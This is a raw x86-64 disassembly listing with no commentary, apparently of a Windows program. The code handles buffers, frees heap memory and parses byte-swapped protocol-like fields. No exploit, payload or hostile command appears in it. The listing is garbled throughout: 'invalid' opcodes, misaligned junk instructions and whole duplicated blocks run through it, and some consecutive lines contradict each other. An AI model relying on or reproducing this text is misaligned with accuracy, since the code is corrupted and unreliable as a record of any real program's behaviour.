jne 0x14004ca61
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
mov ecx, dword [rsp + 0x50]
jb 0x140047997
xor ebx, ebx
xor r14d, r14d
mov rax, r14
or rax, rbx
je 0x14004794a
jmp 0x140047997
mov rbx, rdx
mov ecx, dword [rsp + 0x50]
mov rax, r14
or rax, rbx
jne 0x140047997
mov dword [rsp + 0x1e4], ecx
mov dword [rsp + 0x1e8], 7
mov byte [rsp + 0x1e0], 8
mov rcx, qword [rsp + 0x140]
lea rdx, [rsp + 0x1e0]
call fcn.1400bfa40
cmp al, 0xc
mov rbx, r13
jne 0x14005560e
mov r13, rbx
mov dword [r15 + 0xa8], 0
xor ebx, ebx
xor r14d, r14d
test bpl, bpl
jne 0x1400479af
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004d4cb
xor eax, eax
xchg byte [rsi], al
cmp al, 2
mov rbp, qword [rsp + 0x88]
jne 0x1400479c8
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test r14, r14
je 0x1400479d7
mov byte [rsp + 0xe50], 4
jmp 0x1400479f0
test rbx, rbx
je 0x14004c884
lea rcx, [rsp + 0xe50]
mov rdx, rbx
call fcn.140016200
mov rbx, r13
mov r13, qword [rsp + 0x60]
mov rdx, qword [rsp + 0xa70]
cmp rdx, 2
je 0x140047ab0
mov rcx, qword [rsp + 0xa78]
mov rax, qword [rsp + 0xa80]
test dl, 1
je 0x140047a31
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0xa88]
call qword [rax + 0x68]
mov rsi, qword [rsp + 0xa70]
cmp rsi, 2
je 0x140047ab0
mov rcx, qword [rsp + 0xa78]
mov rax, qword [rsp + 0xa80]
test sil, 1
je 0x140047a72
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rsp + 0xa88]
call qword [rax + 0x80]
test rsi, rsi
je 0x140047ab0
mov rax, qword [rsp + 0xa78]
lock dec qword [rax]
jne 0x140047ab0
mov rcx, qword [rsp + 0xa78]
mov ecx, dword [rsp + 0xa78]
mov rdx, qword [rsp + 0xa80]
call case.0x14009a20c.177
nop dword [rax + rax]
mov rax, qword [rdi + 0x380]
cmp rax, 2
mov rsi, qword [rsp + 0x168]
je 0x140047af5
mov rcx, qword [rdi + 0x388]
mov r8, qword [rdi + 0x390]
test al, 1
je 0x140047ae9
mov rax, qword [r8 + 0x10]
dec rax
and rax, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
mov rdx, qword [rsp + 0xd88]
call qword [r8 + 0x68]
movzx r9d, byte [rsp + 0xe50]
cmp r9d, 3
jne 0x140051816
mov rax, qword [rsp + 0xc70]
mov qword [rsp + 0xca8], rax
mov rax, qword [rsp + 0x6e8]
mov qword [rsp + 0xcb0], rax
and al, 0xb0
or al, 0
add bl, dh
movq mm0, qword [rdi + 0x408]
and al, 0xb0
or al, 0
add bl, dh
movq mm0, qword [rdi + 0x408]
paddq xmm0, xmm7
movdqu xmmword [rsp + 0xcc8], xmm0
mov byte [rsp + 0xcd8], 0
mov rax, qword [rsp + 0xbc8]
mov qword [rsp + 0xcb8], rax
test byte [rax + rdi*4], ah
or al, 0
add byte [rax - 0x75], cl
test byte [rax + rdi], ah
or al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rax*8], ah
or al, 0
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
or eax, 0x20000
add byte [rax], al
test byte [rax + rdi*4], ah
or al, 0
add byte [rax - 0x75], cl
test byte [rax + rdi], ah
or al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rax*8], ah
or al, 0
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
or eax, 0x20000
add byte [rax], al
mov qword [rsp + 0xdb8], 0
mov r14d, dword [rsp + 0x534]
add eax, 0xbf800000
ret 1
add byte [rax], al
mov dword [rsp + 0x534], r14d
jne 0x140048090
add eax, 0xbf800000
ret 1
nop word [rax + rax]
test byte [rdi + 0x1c1], 1
je 0x140047d30
cmp byte [rdi + 0x1c0], 0
je 0x140047c60
lea rcx, [rsp + 0x1e0]
mov rdx, rdi
mov r8, qword [rsp + 0x6f0]
call fcn.14010fac0
mov r12, qword [rsp + 0x1e8]
mov esp, dword [rsp + 0x1e8]
mov esp, dword [rsp + 0x1e8]
test byte [rsp + 0x1e0], 1
jne 0x140047dfc
mov rcx, qword [rsp + 0x1f0]
lea rax, [rsp + 0x1f0]
movdqu xmm0, xmmword [rax + 8]
movdqa xmmword [rsp + 0x3d0], xmm0
rol byte [rbx], 1
add byte [rax], al
rol byte [rbx], 1
add byte [rax], al
test r12, r12
je 0x140047cf7
movaps xmm0, xmmword [rsp + 0x3d0]
movaps xmmword [rsp + 0x570], xmm0
movaps xmmword [rsp + 0x1e0], xmm0
mov eax, 1
mov rbx, r12
movdqa xmm0, xmmword [rsp + 0x1e0]
movdqa xmmword [rsp + 0xe50], xmm0
mov qword [rsp + 0x100], rcx
mov r12, rcx
test rax, rax
jne 0x1400480a4
jmp 0x14004b200
lea rcx, [rsp + 0x1e0]
mov rdx, rdi
mov r8, qword [rsp + 0x6f0]
call fcn.14010fac0
mov rcx, qword [rsp + 0x1e8]
test byte [rsp + 0x1e0], 1
je 0x140047ca9
mov byte [rdi + 0x1c2], 1
mov eax, 1
mov r12, rcx
xor ebx, ebx
test rax, rax
jne 0x1400480a4
jmp 0x14004b200
mov rdx, qword [rsp + 0x1f0]
lea rax, [rsp + 0x1f0]
movdqu xmm0, xmmword [rax + 8]
movdqa xmmword [rsp + 0x3d0], xmm0
test rcx, rcx
je 0x140047d21
movdqa xmm0, xmmword [rsp + 0x3d0]
movdqa xmmword [rsp + 0xe50], xmm0
mov eax, 1
mov r12, rdx
mov rbx, rcx
test rax, rax
jne 0x1400480a4
jmp 0x14004b200
cmp qword [rdi + 0x1a8], 0
je 0x140047e9b
mov r8d, 0x19
mov cl, 0x27
lea rdx, [0x14015cb2f]
call fcn.140070150
mov r12, rax
jmp 0x140047dfc
mov byte [rdi + 0x1c1], 0
nop dword [rax + rax]
mov rsi, qword [rdi + 0x1a8]
cmp qword [rdi + 0x1b0], rsi
jne 0x140047d59
mov edx, 1
mov rcx, qword [rsp + 0x6f0]
call fcn.1400087c0
mov rsi, qword [rdi + 0x1a8]
cmp rsi, 0xffffffffffffffff
je 0x140047e80
mov rax, qword [rsp + 0xa40]
mov rax, qword [rax]
cmp rax, rsi
jne 0x140047d93
mov edx, 0x40
mov rcx, qword [rsp + 0x6f0]
call fcn.1400087c0
mov rsi, qword [rdi + 0x1a8]
mov rax, qword [rdi + 0x1b0]
mov rdx, rdi
mov rdi, qword [rdi + 0x1a0]
add rdi, rsi
sub rax, rsi
mov qword [rsp + 0x3d0], rdi
mov qword [rsp + 0x3d8], rax
lea rax, [rsp + 0x3f0]
movups xmmword [rax - 0x10], xmm6
mov qword [rsp + 0x960], rdi
mov rcx, qword [rdx + 0x188]
mov rax, qword [rdx + 0x190]
mov rdx, rbp
lea r8, [rsp + 0x3d0]
call qword [rax + 0x18]
test rax, rax
jne 0x14004b603
test rdx, rdx
je 0x140047e18
mov r12, rdx
mov rdi, qword [rsp + 0xf8]
mov byte [rdi + 0x1c2], 1
mov eax, 1
xor ebx, ebx
test rax, rax
jne 0x1400480a4
jmp 0x14004b200
mov rdx, qword [rsp + 0x3d8]
mov rcx, qword [rsp + 0x3e0]
cmp rcx, rdx
ja 0x140054e55
mov rax, qword [rsp + 0x3d0]
mov qword [rsp + 0x860], rax
cmp rdi, rax
jne 0x140054e61
add rsi, rcx
mov qword [rsp + 0xa70], rsi
mov rax, qword [rsp + 0xa40]
cmp rsi, qword [rax]
mov rdi, qword [rsp + 0xf8]
ja 0x140054dc7
mov qword [rdi + 0x1a8], rsi
test rcx, rcx
jne 0x140048089
nop
mov al, 1
cmp byte [rdi + 0x1c0], 0
je 0x140047edb
xor eax, eax
test rax, rax
jne 0x1400480a4
jmp 0x14004b200
movaps xmm0, xmmword [rsp + 0xa70]
movaps xmmword [rsp + 0x570], xmm0
mov byte [rdi + 0x1c1], 0
xor r12d, r12d
xor eax, eax
mov rcx, qword [rsp + 0x100]
jmp 0x140047c2c
mov al, 1
cmp byte [rdi + 0x1c0], 0
jne 0x140047e8b
mov byte [rdi + 0x1c0], al
mov byte [rdi + 0x1c1], 1
cmp byte [rdi + 0x1c2], 0
jne 0x140048090
cmp byte [rdi + 0x1c0], 0
jne 0x140047bba
lea rcx, [rsp + 0x1e0]
mov rdx, rdi
mov r8, qword [rsp + 0x6f0]
call fcn.14010fac0
mov rcx, qword [rsp + 0x1e8]
test byte [rsp + 0x1e0], 1
jne 0x140047c8a
mov rdx, qword [rsp + 0x1f0]
lea rax, [rsp + 0x1f0]
movdqu xmm0, xmmword [rax + 8]
movdqa xmmword [rsp + 0x3d0], xmm0
test rcx, rcx
jne 0x140047ccc
mov byte [rdi + 0x1c1], 0
mov rsi, qword [rdi + 0x1a8]
cmp qword [rdi + 0x1b0], rsi
jne 0x140047f87
mov edx, 1
mov rcx, qword [rsp + 0x6f0]
call fcn.1400087c0
mov rsi, qword [rdi + 0x1a8]
cmp rsi, 0xffffffffffffffff
je 0x140047ed0
mov rax, qword [rsp + 0xa40]
mov rax, qword [rax]
cmp rax, rsi
jne 0x140047fc1
mov edx, 0x40
mov rcx, qword [rsp + 0x6f0]
call fcn.1400087c0
mov rsi, qword [rdi + 0x1a8]
mov rax, qword [rdi + 0x1b0]
mov rdx, rdi
mov rdi, qword [rdi + 0x1a0]
add rdi, rsi
sub rax, rsi
mov qword [rsp + 0x3d0], rdi
mov qword [rsp + 0x3d8], rax
lea rax, [rsp + 0x3f0]
movups xmmword [rax - 0x10], xmm6
mov qword [rsp + 0x960], rdi
mov rcx, qword [rdx + 0x188]
mov rax, qword [rdx + 0x190]
mov rdx, rbp
lea r8, [rsp + 0x3d0]
call qword [rax + 0x18]
test rax, rax
jne 0x14004b603
test rdx, rdx
jne 0x140047df1
mov rdx, qword [rsp + 0x3d8]
mov rcx, qword [rsp + 0x3e0]
cmp rcx, rdx
ja 0x140054e55
mov rax, qword [rsp + 0x3d0]
mov qword [rsp + 0x860], rax
cmp rdi, rax
jne 0x140054e61
add rsi, rcx
mov qword [rsp + 0xa70], rsi
mov rax, qword [rsp + 0xa40]
cmp rsi, qword [rax]
mov rdi, qword [rsp + 0xf8]
ja 0x140054dc7
mov qword [rdi + 0x1a8], rsi
test rcx, rcx
je 0x140047ed0
xor eax, eax
jmp 0x140047edb
mov word [rdi + 0x1c1], 0
xor eax, eax
test rax, rax
je 0x14004b200
test rbx, rbx
je 0x14004b220
mov qword [rsp + 0x810], rbx
mov qword [rsp + 0x818], r12
movdqa xmm0, xmmword [rsp + 0xe50]
lea rax, [rsp + 0x820]
movdqu xmmword [rax], xmm0
mov r14, qword [rdi + 0x378]
mov qword [rsp + 0x960], 2
mov qword [rsp + 0x980], 0
cmp r12, 5
jb 0x140054d0f
lea rdx, [r12 - 5]
cmp rdx, 3
jbe 0x140054cfe
movzx eax, byte [rbx + 3]
cmp rax, 9
ja case.default.0x140048126
lea rdx, [0x1401940d0]
movsxd rcx, dword [rdx + rax*4]
add rcx, rdx
jmp rcx
mov r15, qword [rsp + 0x100]
xor ecx, ecx
mov rdx, qword [rsp + 0xa48]
mov r13, qword [rdx]
cmp r13, 2
setne dl
xor cl, 1
test dl, cl
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x100], r15
and al, 0
add dword [rax], eax
add byte [rdi], cl
invalid
pop qword [rax]
add byte [rax], al
mov esi, dword [rbx + 5]
and esi, 0xffffff7f
mov ecx, esi
bswap ecx
mov qword [rsp + 0x40], rcx
movzx ebx, byte [rbx + 4]
movzx r12d, bl
movzx eax, al
lea rcx, [0x1401940f8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r8d, 9
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x810]
call fcn.140008630
mov r8, qword [rsp + 0x1f8]
test r8b, 1
je 0x140048640
shr r8, 5
mov rax, qword [rsp + 0x1f0]
add rax, r8
je 0x14004867c
mov rax, qword [rsp + 0x1e0]
sub rax, r8
mov r8, rax
jmp 0x14004866d
mov bpl, 0xa
mov eax, 1
mov qword [rsp + 0xc8], rax
mov eax, 1
mov qword [rsp + 0xd8], rax
mov al, 1
mov dword [rsp + 0x6c], eax
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
mov al, 1
mov qword [rsp + 0xa8], rax
lea rax, [0x140132040]
lea eax, [0x140132040]
mov qword [rsp + 0xb0], rax
mov r13, qword [rsp + 0x60]
jmp 0x140048f30
mov r15, qword [rsp + 0x100]
mov cl, 1
jmp 0x140048132
mov r15, qword [rsp + 0x100]
xor ecx, ecx
mov al, 0xa
jmp 0x140048132
invalid
invalid
invalid
invalid
mov bpl, 0xa
mov eax, 1
mov qword [rsp + 0xc8], rax
test esi, esi
je 0x140048a12
mov r12, qword [rsp + 0x50]
cmp r12, 9
mov r10d, dword [rsp + 0xca4]
mov r13, qword [rsp + 0x60]
insb byte [rdi], dx
and al, 0x60
jb 0x140055292
cmp r12, 0xe
mov r8d, dword [rsp + 0xca0]
mov r9d, dword [rsp + 0xc9c]
mov r11, qword [rsp + 0x40]
je 0x140048cc8
and r10d, 0xffffff00
or r10d, 0x10
jmp 0x140048d1c
mov r8d, 9
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x810]
call fcn.140008630
mov r8, qword [rsp + 0x1f8]
test byte [rax + rdi*8], ah
add dword [rax], eax
add byte [rcx - 0xa], al
rol byte [rcx], 0xf
test byte [rax + 3], cl
add byte [rax], al
shr r8, 5
mov rax, qword [rsp + 0x1f0]
add rax, r8
je 0x1400487ac
mov rax, qword [rsp + 0x1e0]
sub rax, r8
mov r8, rax
jmp 0x14004879d
lock dec qword [r8 + 0x20]
jne 0x14004867c
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x14004866d
mov rax, qword [r8 + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov rdi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rdi
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x810]
mov rax, qword [rsp + 0x818]
mov rdi, qword [rsp + 0x828]
test dil, 1
mov r13, qword [rsp + 0x60]
jne 0x1400487e7
mov qword [rsp + 0x7b8], rcx
mov qword [rsp + 0x7c0], rax
mov qword [rsp + 0x7c8], rdi
lea rax, [0x14016a948]
mov qword [rsp + 0x7b0], rax
test esi, esi
mov rdi, qword [rsp + 0xf8]
je 0x140048897
mov r14, r12
mov rdx, qword [rsp + 0x7b8]
and r14, 8
je 0x140048cc3
mov r8, qword [rsp + 0x7c0]
mov esi, 0xd
test r8, r8
je 0x14004912f
movzx ebp, byte [rdx]
movzx r13d, bpl
cmp r8, r13
jbe 0x140049134
mov rsi, r8
cmp r8, 1
jne 0x14004a29d
movdqa xmm0, xmmword [rsp + 0x7b0]
movaps xmm1, xmmword [rsp + 0x7c0]
movaps xmmword [rsp + 0x3e0], xmm1
movdqa xmmword [rsp + 0x3d0], xmm0
lea rax, [0x140130408]
mov qword [rsp + 0x7b0], rax
lea rax, [rsp + 0x7c0]
movups xmmword [rax], xmm6
mov eax, 1
jmp 0x14004a30e
lock dec qword [r8 + 0x20]
jne 0x1400487ac
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x14004879d
mov rax, qword [r8 + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov rdi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rdi
mov rdi, qword [rsp + 0xf8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movdqu xmm0, xmmword [rsp + 0x810]
movups xmm1, xmmword [rsp + 0x820]
movaps xmmword [rsp + 0x750], xmm1
movdqa xmmword [rsp + 0x740], xmm0
test esi, esi
je 0x140048a60
test bl, 8
jne 0x140048b8e
xor r12d, r12d
jmp 0x1400491ef
shr rdi, 5
sub rcx, rdi
add rax, rdi
mov rdx, qword [rsp + 0x820]
add rdx, rdi
mov qword [rsp + 0x538], rdx
mov qword [rsp + 0x540], rcx
mov qword [rsp + 0x548], rax
lea rcx, [rsp + 0x740]
lea rdx, [rsp + 0x538]
call fcn.140008100
mov qword [rsp + 0xbf8], rdi
mov rax, qword [rsp + 0x750]
mov rcx, rax
sub rcx, rdi
jb 0x1400552e5
mov qword [rsp + 0x750], rcx
add qword [rsp + 0x748], rdi
movdqu xmm0, xmmword [rsp + 0x740]
movdqa xmmword [rsp + 0x7b0], xmm0
mov rax, qword [rsp + 0x750]
mov qword [rsp + 0x7c0], rax
mov rax, qword [rsp + 0x758]
mov qword [rsp + 0x7c8], rax
test esi, esi
mov rdi, qword [rsp + 0xf8]
jne 0x1400486da
mov rdx, qword [rsp + 0x7b8]
mov r8, qword [rsp + 0x7c0]
mov esi, 0x12
jmp 0x140049141
mov al, 1
mov dword [rsp + 0x6c], eax
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
mov al, 1
mov qword [rsp + 0xa8], rax
lea rax, [0x140132040]
mov qword [rsp + 0xb0], rax
mov eax, 1
mov qword [rsp + 0xd8], rax
mov r13, qword [rsp + 0x60]
jmp 0x140048e7f
mov r13b, 0x12
jmp 0x140049689
cmp qword [rsp + 0x748], 0
je 0x140049188
mov rax, qword [rsp + 0x740]
movzx r12d, byte [rax]
mov r8d, 1
lea rcx, [rsp + 0x3d0]
lea rdx, [rsp + 0x740]
call fcn.140008630
mov r8, qword [rsp + 0x3e8]
test r8b, 1
je 0x1400491b3
shr r8, 5
mov rax, qword [rsp + 0x3e0]
add rax, r8
je 0x1400491ef
mov rax, qword [rsp + 0x3d0]
sub rax, r8
mov r8, rax
jmp 0x1400491e0
jmp 0x14004ac67
mov rdx, qword [rsp + 0x78]
mov eax, dword [rdx + 9]
bswap eax
mov ecx, eax
and ecx, 0x7fffffff
movzx edx, byte [rdx + 0xd]
mov dword [rsp + 0x1e0], ecx
mov byte [rsp + 0x1e4], dl
mov ecx, dword [rsp + 0x1e1]
mov byte [rsp + 0x1e0], al
mov dword [rsp + 0x1e1], ecx
mov edx, dword [rsp + 0x1e0]
cmp edx, r11d
jne 0x140049198
and r10d, 0xffffff00
or r10d, 0x14
and r8d, 0xffff00ff
or r8d, 0x200
mov eax, r8d
and eax, 0xff00
cmp eax, 0x200
mov dword [rsp + 0xca0], r8d
mov dword [rsp + 0xc9c], r9d
mov dword [rsp + 0xca4], r10d
jne 0x140048d9d
mov al, 1
mov dword [rsp + 0x6c], eax
cmp r10b, 0x14
jne case.0x140016398.2423
invalid
mov eax, dword [rbx]
add byte [rax], al
test dword [rbx + 0x48000003], ecx
mov eax, 0
movabs rax, 0xffffffff00000000
mov rcx, qword [rsp + 0xb0]
and rcx, rax
inc rcx
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xa8], 0
mov eax, r11d
mov qword [rsp + 0xc8], rax
jmp 0x140048e7f
mov r14b, 2
mov al, 1
mov dword [rsp + 0x6c], eax
mov rax, qword [rsp + 0xbb8]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xbc0]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0x378], rax
mov eax, r8d
mov qword [rsp + 0xc8], rax
mov eax, r9d
mov qword [rsp + 0xa8], rax
mov eax, r10d
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x148], eax
mov dword [rsp + 0x14c], eax
mov rbp, qword [rsp + 0x88]
jmp 0x14004aecd
mov rdx, qword [rsp + 0x960]
cmp rdx, 2
je 0x140048f30
mov rcx, qword [rsp + 0x968]
mov rax, qword [rsp + 0x970]
test dl, 1
je 0x140048eb8
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x978]
call qword [rax + 0x68]
mov rsi, qword [rsp + 0x960]
cmp rsi, 2
je 0x140048f30
mov rcx, qword [rsp + 0x968]
mov rax, qword [rsp + 0x970]
test sil, 1
je 0x140048ef9
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rsp + 0x978]
call qword [rax + 0x80]
test rsi, rsi
je 0x140048f30
mov rax, qword [rsp + 0x968]
lock dec qword [rax]
jne 0x140048f30
mov rcx, qword [rsp + 0x968]
mov rdx, qword [rsp + 0x970]
call case.0x14009a20c.177
nop
mov rsi, qword [rsp + 0x828]
test sil, 1
je 0x140048f70
shr rsi, 5
mov rax, qword [rsp + 0x820]
add rax, rsi
je 0x140048fa5
mov r8, qword [rsp + 0x810]
sub r8, rsi
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140048fa5
lock dec qword [rsi + 0x20]
jne 0x140048fa5
mov rax, qword [rsi + 0x20]
cmp qword [rsi], 0
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
je 0x140048f97
mov r8, qword [rsi + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call rbx
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call rbx
movzx r12d, byte [rsp + 0x4f]
movzx ebx, byte [rsp + 0x4e]
cmp bpl, 0xa
je 0x14004b492
mov r14d, ebp
mov eax, dword [rsp + 0x534]
mov esi, eax
mov byte [rsp + 0x4f], r12b
mov rbp, qword [rsp + 0x88]
mov r12, qword [rsp + 0x50]
movzx eax, byte [rsp + 0x3ca]
mov byte [rsp + 0x3be], al
movzx eax, word [rsp + 0x3c8]
mov word [rsp + 0x3bc], ax
mov r8d, 0xe0
lea rcx, [rsp + 0xe50]
lea rdx, [rsp + 0xa70]
call fcn.140121660
or eax, 0x84b70f00
and al, 0xc4
add eax, dword [rax]
add byte [rsi - 0x77], ah
test byte [rax + rdi*4], ah
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x84
and al, 0xc6
add eax, dword [rax]
add byte [rax + 0x3ba2484], cl
add byte [rax], al
or eax, 0x84b70f00
and al, 0xc4
add eax, dword [rax]
add byte [rsi - 0x77], ah
test byte [rax + rdi*4], ah
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x84
and al, 0xc6
add eax, dword [rax]
add byte [rax + 0x3ba2484], cl
add byte [rax], al
movzx eax, word [rsp + 0x3c0]
mov word [rsp + 0x3b4], ax
movzx eax, byte [rsp + 0x3c2]
mov byte [rsp + 0x3b6], al
cmp r14b, 9
jne 0x14004b310
mov r14d, esi
mov byte [rsp + 0x4e], bl
mov rbx, qword [rsp + 0x78]
cmp byte [rdi + 0x1c2], 0
mov dword [rsp + 0x534], r14d
je 0x140047ba0
jmp 0x140048090
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
mov al, 1
mov qword [rsp + 0xa8], rax
lea rax, [0x140132040]
mov qword [rsp + 0xb0], rax
mov eax, 1
mov qword [rsp + 0xd8], rax
jmp 0x140048e7f
xor r8d, r8d
jmp 0x140049141
mov rbp, qword [rsp + 0x88]
mov r13, qword [rsp + 0x60]
movabs rax, 0xffff00ffffffffff
mov r15, qword [rsp + 0xd80]
and r15, rax
movabs r14, 0x20000000000
or r15, r14
mov rax, qword [rsp + 0x7b0]
lea rcx, [rsp + 0x7c8]
call qword [rax + 0x10]
mov r12, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x1150]
jmp 0x14004acfc
mov r13b, 0x13
jmp 0x140049689
shr ecx, 0x18
shr eax, 0x17
and eax, 0x100
or eax, ecx
mov r8d, eax
mov r9d, edx
mov r10d, r11d
jmp 0x140048d2a
lock dec qword [r8 + 0x20]
jne 0x1400491ef
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x1400491e0
mov rax, qword [r8 + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov rsi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rsi
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov sil, 2
test bl, 0x20
jne 0x14004962a
test r12, r12
je 0x14004921c
mov rax, qword [rsp + 0x748]
mov r13b, 0xd
sub rax, r12
jb 0x140049689
mov qword [rsp + 0x748], rax
movaps xmmword [rsp + 0x10f0], xmm6
mov rax, qword [rsp + 0x740]
mov rcx, qword [rsp + 0x748]
movaps xmm0, xmmword [rsp + 0x750]
lea r8, [rsp + 0x1f0]
movups xmmword [r8 + 3], xmm0
mov qword [r8 - 0xd], rax
mov qword [r8 - 5], rcx
movzx eax, byte [rsp + 0x95c]
lea rcx, [rsp + 0xd1b]
mov byte [rcx + 4], al
mov eax, dword [rsp + 0x958]
mov dword [rcx], eax
mov qword [rsp + 0x3d0], 0
movzx eax, byte [rsp + 0x1de]
mov byte [rsp + 0x3d8], al
mov rax, qword [rsp + 0xfc1]
mov rcx, qword [rsp + 0xfc8]
lea rdx, [rsp + 0x3f0]
mov qword [rdx - 0x10], rcx
mov qword [rdx - 0x17], rax
mov qword [rsp + 0x3e8], 0
mov qword [rsp + 0x3f0], 8
movaps xmm0, xmmword [rsp + 0x10f0]
movups xmmword [rdx + 8], xmm0
mov qword [rsp + 0x408], 8
mov qword [rsp + 0x410], 0
mov qword [rsp + 0x418], 2
mov qword [rsp + 0x420], 0
mov word [rsp + 0x428], 0
movzx eax, word [rsp + 0xa6e]
mov word [rdx + 0x3e], ax
mov eax, dword [rsp + 0xa6a]
mov dword [rdx + 0x3a], eax
mov byte [rsp + 0x430], 0xb
mov rax, qword [rsp + 0xcef]
mov qword [rdx + 0x50], rax
movups xmm0, xmmword [rsp + 0xce0]
movups xmmword [rdx + 0x41], xmm0
mov qword [rsp + 0x448], 0
mov rax, qword [rsp + 0x548]
mov qword [rdx + 0x70], rax
movups xmm0, xmmword [rsp + 0x538]
movups xmmword [rdx + 0x60], xmm0
mov qword [rsp + 0x468], 0
mov rax, qword [rsp + 0xd08]
mov qword [rdx + 0x90], rax
movups xmm0, xmmword [rsp + 0xcf8]
clc
or al, 0
add byte [rdi], cl
adc dword [rdx + 0x80], eax
clc
or al, 0
add byte [rdi], cl
adc dword [rdx + 0x80], eax
mov qword [rsp + 0x488], 0
mov rax, qword [rsp + 0xc08]
mov qword [rdx + 0xb0], rax
invalid
mov al, 0
add byte [rax], al
movups xmm0, xmmword [rsp + 0xbf8]
movups xmmword [rdx + 0xa0], xmm0
mov qword [rsp + 0x4a8], 0
mov rax, qword [rsp + 0xe48]
mov qword [rdx + 0xd0], rax
movups xmm0, xmmword [rsp + 0xe38]
movups xmmword [rdx + 0xc0], xmm0
mov word [rsp + 0x4c8], 0
movzx eax, word [rsp + 0xa68]
mov word [rdx + 0xde], ax
mov eax, dword [rsp + 0xa64]
mov dword [rdx + 0xda], eax
mov qword [rsp + 0x4d0], 0
mov byte [rsp + 0x4d8], 0
mov eax, dword [rsp + 0xd1c]
mov dword [rdx + 0xf1], eax
mov rax, qword [rsp + 0xd14]
mov qword [rdx + 0xe9], rax
mov byte [rsp + 0x4e5], sil
mov word [rsp + 0x4e6], 0
mov rax, qword [rsp + 0x40]
mov dword [rsp + 0x4e8], eax
invalid
mov dword [rsp + 0x4e8], eax
mov byte [rsp + 0x4ec], bl
movzx eax, byte [rsp + 0x1e2]
mov byte [rdx + 0xff], al
movzx eax, word [rsp + 0x1e0]
mov word [rdx + 0xfd], ax
movdqu xmm0, xmmword [r8 - 0xd]
movups xmm1, xmmword [r8 + 3]
movaps xmmword [rsp + 0x7c0], xmm1
movdqa xmmword [rsp + 0x7b0], xmm0
lea rcx, [rsp + 0x3d0]
lea rdx, [rsp + 0x7b0]
mov r8, r14
mov r9, qword [rsp + 0xc60]
call fcn.140017b20
cmp al, 0x15
jne 0x1400497c1
test bl, 4
mov r12, qword [rsp + 0x50]
mov r13, qword [rsp + 0x60]
je 0x1400497f5
mov eax, dword [rsp + 0x3d0]
mov qword [rsp + 0xa8], rax
mov eax, dword [rsp + 0x3d4]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x3d8]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x3e8]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0xc0], rax
mov eax, dword [rsp + 0x3f8]
mov dword [rsp + 0x530], eax
mov eax, dword [rsp + 0x3fc]
mov dword [rsp + 0x52c], eax
mov eax, dword [rsp + 0x400]
mov dword [rsp + 0x528], eax
movzx r14d, byte [rsp + 0x404]
lea rsi, [rsp + 0x3f0]
movzx eax, word [rsi + 0x15]
mov word [rsp + 0x17c], ax
movzx eax, byte [rsi + 0x17]
mov byte [rsp + 0x17e], al
mov r8d, 0xe0
lea rcx, [rsp + 0x570]
lea rdx, [rsp + 0x408]
call fcn.140121660
movzx eax, byte [rsp + 0x4e8]
mov dword [rsp + 0x14c], eax
movzx eax, byte [rsp + 0x4ec]
mov dword [rsp + 0x148], eax
movzx eax, word [rsi + 0xf9]
mov word [rsp + 0x178], ax
movzx eax, byte [rsi + 0xfb]
mov byte [rsp + 0x17a], al
movzx eax, word [rsi + 0xfd]
mov word [rsp + 0x174], ax
movzx eax, byte [rsi + 0xff]
